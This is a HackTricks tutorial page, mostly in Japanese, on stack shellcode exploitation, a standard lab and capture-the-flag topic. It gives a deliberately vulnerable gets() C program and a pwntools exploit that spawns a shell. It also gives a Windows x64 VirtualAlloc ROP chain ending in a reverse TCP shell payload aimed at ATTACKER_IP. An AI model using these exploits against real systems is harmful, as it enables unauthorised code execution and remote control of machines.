Stack Shellcode

Reading time: 10 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Stack shellcodebinary exploitation において、攻撃者が脆弱なプログラムの stack に shellcode を書き込み、Instruction Pointer (IP)Extended Instruction Pointer (EIP) をその shellcode の位置を指すように変更して実行させる手法です。これは対象システムに不正にアクセスしたり任意のコマンドを実行したりするための古典的な方法です。以下にプロセスの内訳と、簡単な C の例、および pwntools を使って Python で対応する exploit を書く方法を示します。

Cの例: 脆弱なプログラム

まずは脆弱な C プログラムの簡単な例を示します:

c
#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

このプログラムは gets() 関数の使用によりバッファオーバーフローの脆弱性があります。

コンパイル

さまざまな保護を無効化して(脆弱な環境をシミュレートするために)このプログラムをコンパイルするには、次のコマンドを使用します:

sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: スタック保護を無効化します。
  • -z execstack: スタックを実行可能にします。これはスタックに格納された shellcode を実行するために必要です。
  • -no-pie: Position Independent Executable を無効化し、shellcode が配置されるメモリアドレスを予測しやすくします。
  • -m32: プログラムを 32-bit 実行形式としてコンパイルします。exploit 開発で簡便さのためによく使われます。

Pwntools を使った Python Exploit

以下は、pwntools を使用して ret2shellcode 攻撃を実行するための Python の exploit を書く方法です:

python
from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

This script constructs a payload consisting of a NOP slide, the shellcode, and then overwrites the EIP with the address pointing to the NOP slide, ensuring the shellcode gets executed.

The NOP slide (asm('nop')) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the p32() argument to the starting address of your buffer plus an offset to land in the NOP slide.

Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)

現代の Windows ではスタックは実行不可(DEP/NX)です。stack BOF 後にスタック上の shellcode を実行する一般的な方法は、モジュールの Import Address Table (IAT) から VirtualAlloc(または VirtualProtect)を呼び出す 64-bit ROP チェーンを組み、スタック領域を実行可能にしてチェーンの後に続く shellcode にリターンする方法です。

Key points (Win64 calling convention):

  • VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
  • RCX = lpAddress → 現在のスタック内のアドレス(例: RSP)を選び、割り当てられた RWX 領域があなたのペイロードと重なるようにする
  • RDX = dwSize → チェーン+shellcode を収められる十分な大きさ(例: 0x1000)
  • R8 = flAllocationType = MEM_COMMIT (0x1000)
  • R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
  • Return directly into the shellcode placed right after the chain.

Minimal strategy:

  1. Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
  2. Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
  3. Place stage-2 shellcode immediately after the chain.

Example layout (conceptual):

# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET    # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----

制約された gadget set を使うと、register 値を間接的に作成できます。例えば:

  • mov r9, rbx; mov r8, 0; add rsp, 8; ret → set r9 from rbx, zero r8, and compensate stack with a junk qword.
  • xor rbx, rsp; ret → seed rbx with the current stack pointer.
  • push rbx; pop rax; mov rcx, rax; ret → move RSP-derived value into RCX.

Pwntools スケッチ(既知の base と gadgets がある場合):

python
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000  # example: resolve via reversing
rop  = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))

ヒント:

  • VirtualProtect は、既存のバッファを RX にする方が好ましい場合に同様に動作します。パラメータの順序が異なる点に注意してください。

  • スタック領域が狭い場合は、別の場所に RWX を割り当て(RCX=NULL)て、スタックを再利用する代わりにその新領域へ jmp してください。

  • RSP を調整するガジェット(例: add rsp, 8; ret)を常に考慮し、junk qwords を挿入して調整してください。

  • ASLR should be disabled — 実行間でアドレスを信頼可能にするため。さもないと関数が格納されるアドレスは毎回同じではなく、win 関数がどこにロードされているかを特定するために何らかの leak が必要になります。

  • Stack Canaries も無効化しておくべきです。さもないと改竄された EIP のリターンアドレスは実行されません。

  • NX stack 保護は、該当領域が実行不可になるためスタック内の shellcode の実行を防ぎます。

その他の例と参考

参考

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする